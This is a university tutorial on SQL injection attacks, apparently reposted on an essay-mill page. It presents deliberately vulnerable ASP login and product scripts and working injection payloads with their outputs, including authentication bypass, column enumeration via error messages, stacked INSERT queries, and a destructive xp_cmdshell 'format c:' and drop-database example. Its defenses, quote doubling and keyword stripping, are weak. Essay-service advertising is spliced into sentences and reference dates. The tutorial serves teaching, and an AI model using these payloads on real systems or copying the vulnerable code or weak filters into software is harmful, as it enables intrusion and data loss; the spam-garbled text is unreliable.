Posted: December 9th, 2022

Paper essay

1
Tutorial on SQL Injection Attacks
Nicole Duff and Huiming Yu
Department of Computer Science
North Carolina A&T State University
1. Introduction
Structured Query Language (SQL) is a computer language designed to interact with relational
databases. The most common type of execution uses a query, which is a collection of statements
that usually return a single ‘result set’. SQL statements have the ability to modify the structure of
databases and manipulate the contents of those databases [1, 3, 4, 6]. This can jeopardize the
integrity of a system.
A standard SQL query is composed of one or more SQL commands, such as SELECT,
UPDATE, or INSERT. SQL injection is one of the most common application layer attacks.
According to NIST SQL injection amounted to 14% of the total web application vulnerabilities
in 2006 – Write a paper; Professional research paper writing service – Best essay writers [2]. SQL injection is the act of passing a SQL query or command as input into a web
application. It exploits web applications that use client-side data in a SQL query without proper
input validation. SQL injection attacks usually target data residing in a database.
2. SQL Injection Attacks
A SQL injection attack occurs on database-driven websites when unauthorized SQL queries are
executed on vulnerable sites. This attack can bypass a firewall and can affect a fully patched
system. For this to happen port 80, the default web port, is the only thing required. SQL
injection attacks target a specific web application where the vulnerability of the relational
database is either know or discovered by the attacker. Figure 1 shows a SQL attack
methodology [4].
Figure 1: Attack Methodology
2
In this example students will be separated into individual groups and they will proceed to
assigning roles. Some students will portray the role as the web application developer and others
will portray the role as the attacker. The developers will create an application that includes a
relational database. The attackers will try to hack the application. This case study uses the
examples developed by Mitchell Horper to let students get hands-on experience [3].
2.1 Create a HTML form
In this section how to create a simple login form named frmLogin will be illustrated.

Username:
Password:

When this form is submitted, the username and password are passed to the login.asp script. They
are available to the script through the Request.Form collection. A user will be authenticated by
providing correct user name and password. The log in process is done by building a SQL query
and comparing the user name and password to the login records in the database.
Let us write the login.asp script:
<%
dim userName, password, query
dim conn, rS
userName = Request.Form(“userName”)
password = Request.Form(“password”)
set conn = server.createObject(“ADODB.Connection”) /*connect to the database
set rs = server.createObject(“ADODB.Recordset”)
query = “select count(*) from users where userName=” ‘ & userName & ‘ ” and
userPass='” & password & ” ‘ ” /* query commnad
conn.Open “Provider=SQLOLEDB; Data Source=(local);
Initial Catalog=myDB; User Id=sa; Password=”
rs.activeConnection = conn
rs.open query
if not rs.eof then /* check login information
response.write “Logged In”
else response.write “Bad Credentials”
end if
%>
3
If the user name and password match a record in the database, “Logged In” will be displayed.
Otherwise, “Bad Credentials” will be displayed.
2.2. How a SQL Injection Works
In general Web applications use data read from a client to construct SQL queries. This can lead
to vulnerability where an attacker can execute SQL queries to cause SQL injection attacks.
Several SQL injection attacks such as manipulating the contents of a query command, forcing
login and modify information in a database will be discussed in this section.
 Create a database
Let us create a database myDB that includes user name and password information in a users table
with some dummy records:
create database myDB
go
use myDB
go
create table users
(
userId int identity(1,1) not null,
userName varchar(50) not null,
userPass varchar(20) not null
)
insert into users(userName, userPass) values(‘john’, ‘doe’)
insert into users(userName, userPass) values(‘admin’, ‘wwz04ff’)
insert into users(userName, userPass) values(‘fsmith’, ‘mypassword’)
If a user tries to login and provide the username of john and password of doe, the message
“Logged In” will be displayed. The query would look like:
select count(*) from users where userName=’john’ and userPass=’doe’
 SQL Injection: Manipulate the Contents of a Query
A hacker can manipulate the contents of a query to create a SQL injection attack. For example
Change the userPass into ‘ ‘ or 1=1 –‘ to create a select command like this:
select count(*) from users where userName=’john’ and userPass=’ ‘
or 1=1 –‘
Therefore the query only checks for the username of john. Instead of checking for a matching
password, it checks for an empty password, or the conditional equation of 1=1. In this case if the
password field is empty or 1 equals 1(which is always true), a valid row will be found in the
users table with username john. The single line delimeter (–) that comments out the last quote
4
stops ASP returning an error about any unclosed quotations. As the result one row will be
returned and the message “Logged In” will be displayed.
This method can be used for the username field. If changing the username is ‘ or 1=1 — and
password is empty such as:
Username: ‘ or 1=1 —
Password: [Empty]
And execute a select query:
select count(*) from users where userName=’ ‘ or 1=1 –‘ and userPass=’ ‘
A count of all rows in the users table will be return. This is an example of SQL injection attack
that is implemented by adding code that manipulates the contents of a query to get an undesired
result.
 SQL Injection: Force Login
The following example demonstrates how force login SQL injection works. Consider the
following query that is based on the users table.
select userName from users where userName=’ ‘ having 1=1
A page call login.asp can easily be developed to query the database by using these login
credentials:
Username: ‘ having 1=1 —
Password: [Anything]
When a user clicks on the submit button to start the login process, the SQL query causes ASP to
send the following error message to the browser:
Microsoft OLE DB Provider for SQL Server (0x80040E14)
Column ‘users.userName’ is invalid in the select list because it is not contained in an aggregate
function and there is no GROUP BY clause.
/login.asp, line 16
This error message tells the unauthorized user the name of one field from the database:
users.userName. Using the name of this field, a user can use SQL Server’s LIKE keyword to
login with the following credentials:
Username: ‘ or users.userName like ‘a%’ —
Password: [Anything]
Once again, this performs an injected SQL query against the users table:
select userName from users where userName=’ ‘ or
users.userName like ‘a%’ –‘ and userPass=’ ‘
5
When the users table was created, a user whose userName field was admin and userPass field
was wwz04ff was also created. Logging in with the username and password shown above uses
SQL’s like keyword to get the username. The query grabs the userName field of the first row
whose userName field starts with a, which in this case is admin:
Logged In As admin
* SQL Injection: Modify the Content of a Database
Let us create a products table and rows on the SQL server as following:
create table products
(
id int identity(1,1) not null,
prodName varchar(50) not null,
)
insert into products(prodName) values(‘Pink Hoola Hoop’)
insert into products(prodName) values(‘Green Soccer Ball’)
insert into products(prodName) values(‘Orange Rocking Chair’)
Let us create a products.asp ASP script as follows:
<%
dim prodId
prodId = Request.QueryString(“productId”)
set conn = server.createObject(“ADODB.Connection”) /* connect to database
set rs = server.createObject(“ADODB.Recordset”)
query = “select prodName from products where id = ” & prodId /* select a product
conn.Open “Provider=SQLOLEDB; Data Source=(local);
Initial Catalog=myDB; User Id=sa; Password=”
rs.activeConnection = conn
rs.open query
if not rs.eof then
response.write “Got product ” & rs.fields(“prodName”).value
else response.write “No product found”
end if
%>
Visit products.asp in the browser with the following URL:
http://localhost/products.asp?productId=1
6
The following line of text in the browser is displayed:
Got product Pink Hoola Hoop
Notice product.asp returns a field from the recordset based on the field’s name:
response.write “Got product” & rs.fields(“prodName”).value
Although this may seem more secure it is not. By manipulating the database a SQL injection can
occur because the WHERE clause of the query is based on a numerical value:
query = “select prodName from products where id = ” & prodId
The products.asp page requires a numerical product Id passed as the productId querystring
variable.
Consider the following URL to products.asp:
http://localhost/products.asp?productId=0%20or%201=1
Each %20 in the URL represents a URL-encoded space character, so the URL looks like:
http://localhost/products.asp?productId=0 or 1=1
When used in conjunction with products.asp, the query looks like:
select prodName from products where id = 0 or 1=1
From the above select command we know how to use some URL-encoding, the names of the
products can be pulled from the product table with the following url:
http://localhost/products.asp?productId=0%20having%201=1
This would generate the following error in the browser:
Microsoft OLE DB Provider for SQL Server (0x80040E14)
Column ‘products.prodName’ is invalid in the select list because it is not contained in an
aggregate function and there is no GROUP BY clause.
/products.asp, line 13
Take the name of the products field (products.prodName) and call up the following URL in the
browser:
http://localhost/products.asp?productId=0;insert%20into%20products
(prodName)%20values(left(@@version,50))
Here is the query without the URL-encoded spaces:
http://localhost/products.asp?productId=0;insert into
products(prodName) values(left(@@version,50))
It returns “No product found”. However it also runs an INSERT query on the products table,
adding the first 50 characters of SQL server’s @@version variable (which contains the details of
SQL Server’s version, build, etc.) as a new record in the products table.
7
To get to the SQL server’s version, a user must call up the products.asp page with the value of
the latest entry in the products table such as:
http://localhost/products.asp?productId=(select%20max(id)
%20from%20products)
This query takes the ID of the latest row added to the products table using SQL server’s MAX
function. The output is the new row that contains the SQL server version details:
Got product Microsoft SQL Server 2000 – 8.00.534 (Intel X86)
This method of injection can be used to perform numerous tasks.
3. A Real World SQL injection attack
In May 2008 – Affordable Custom Essay Writing Service | Write My Essay from Pro Writers China and Taiwan were hit by a large SQL injection attack that inserted malware in
thousands of websites [5]. On May 13, the attack was detected as originating from a server from
in China. The attackers made no effort to hide the source IP address. Many victim websites
were ruined because they sustained lots of permanent changes from the SQL injection attacks.
Thousands of websites were hit and most of them were in China.
The hackers used automated queries through Google’s search engine to identify vulnerable
websites. The attackers used automated queries to Google Inc’s search engine to identify Web
sites vulnerable to the attack. The attack uses SQL injection to infect websites with malware,
which exploits vulnerabilities in the browsers of those who visit the sites. The malware came
from 1,000 different servers and targeted 10 vulnerabilities in Internet Explorer and related plugins that are popular in Asia [5]. The Mackay Memorial Hospital had a screenshot that shows that
the rendering of the site had been affected and displayed the SQL sting injected by the attack.
The large companies Web sites such as SouFun.com, Mycar168.com in China have been
affected.
The impact was on a large-scale. There were thousands of victim websites that had no service.
Many individuals had to find other ways to do their business.
4. Preventing SQL Injection Attacks
If a software developer designs scripts and applications with security consideration most of SQL
injection attacks can be avoided. In the following section several methods that software
developers can use to reduce web applications vulnerability for SQL injection attacks will be
discussed [3].
Method 1: Limit User Access
The default system account for SQL server 2000 should never be used because of its unrestricted
nature. Setting up accounts for specific purposes is always a good idea. For example, if a
database lets users view and order products, then the administrator must set up an account called
webUser_public that has SELECT rights on the products table, and INSERT rights only on the
orders table.
8
If a user does not make use of extended stored procedures, or has unused triggers, stored
procedures, user-defined functions, etc, then remove them, or move them to an isolated server.
SQL injection attacks make use of extended stored procedures such as xp_cmdshell and
xp_grantlogin. Removing them can block the attack before it occurs.
Method 2: Escape Quotes
SQL injection attacks require the user of single quotes to terminate an expression. The chance of
an SQL injection attack can be reduced by using a simple replace function and converting all
single quotes to two single quotes. Using ASP to create a generic replace function will handle the
single quotes automatically. See the following example:
<%
function stripQuotes(strWords)
stripQuotes = replace(strWords, ” ‘ “, ” ‘ ‘ “)
end function
%>
If the stripQuotes function is used in conjunction with the first query then it will change from
the following select query:
select count(*) from users where userName=’john’ and
userPass=’ ‘ or 1=1 –‘
into the following select query:
select count(*) from users where userName=’john” and
userPass=’ ‘ ‘ or 1=1 –‘
This can stop the SQL injection attack because the clause for the WHERE query now requires
both the userName and userPass fields to be valid.
Method 3: Remove Culprit Characters/Character Sequences
Certain characters and character sequences such as ; , –, select, insert and xp_ can be used to
perform an SQL injection attack. Removing these characters and character sequences from user
input can reduce the chance of an injection attack occurring.
The following code demonstrates a basic function can handle all of this:
<%
function killChars(strWords)
dim badChars
dim newChars
badChars = array (“select”, “drop”, “;”, “–“, “insert”,
“delete”, “xp_”)
newChars = strWords
9
for i = 0 to uBound(badChars)
newChars = replace(newChars, badChars(i), “”)
next
killChars = newChars
end function
%>
Using stripQuotes in combination with killChars greatly removes the chance of any SQL
injection attack from succeeding. Look at the select query in the following:
select prodName from products where id=1; xp_cmdshell ‘format
c: /q /yes ‘; drop database myDB; —
Ran through stripQuotes and then killChars, would end up looking like this:
prodName from products where id=1 cmdshell ‘ ‘format c:
/q /yes ” database myDB
As the result it will return no records from the query.
5. Conclusion
SQL injection is one of common application layer threats. It is the act of passing a SQL query or
command as input into a web application and exploits the web application that uses client-side
data in a SQL query without proper input validation.
SQL injection is a topic taught in the computer science curriculum. The SQL injection attacks
case study material has been developed to help instructors teach SQL injection attacks and help
students learn the various SQL injection attacks as well as the ways to prevent these attacks. By
using exercises students will get hands-on experience of how SQL injection works and also ways
to combat them.
References
[1] Anley, C., “Advanced SQL Injection In SQL Server Applications”. NGSSoftware Insight
Security Research (NISR) publication, 2002.
http://www.nextgenss.com/papers/advanced_sql_injection.pdf.
[2] Dysart, F. and Sherriff, M., “Automated Fix Generator for SQL Injection Attacks”, In
Proceedings of the 19th International Symposium on Software Reliability Engineering,
Charlotteville, 2008 – Affordable Custom Essay Writing Service | Write My Essay from Pro Writers.
[3] Harper, M., “SQL Injection Attacks – Are You Safe?”, http://www.sitepoint.com/print/794,
June 17, 2002.
[4] Indian Computer Emergency Response Team. CASE STUDY: Website Compromise and
Launch of Further Attacks by Exploiting SQL Injection Vulnerability. http://www.certin.org.in/knowledgebase/whitepapers/CICS-2008 – Affordable Custom Essay Writing Service | Write My Essay from Pro Writers-02.pdf
[5] Lemon, S., “Mass SQL Injection Attack Hits Chinese Web Sites”, 2008 – Affordable Custom Essay Writing Service | Write My Essay from Pro Writers,
10
http://www.computerworld.com/action/article.do?command=viewArticleBasic&articleId=90866
58
[6] Wei, K., Muthuprasanna, M. and Kothari, S., “Preventing SQL Injection Attacks in Stored
Procedure”, IEEE ASWEC, April 2006 – Write a paper; Professional research paper writing service – Best essay writers.

Order | Check Discount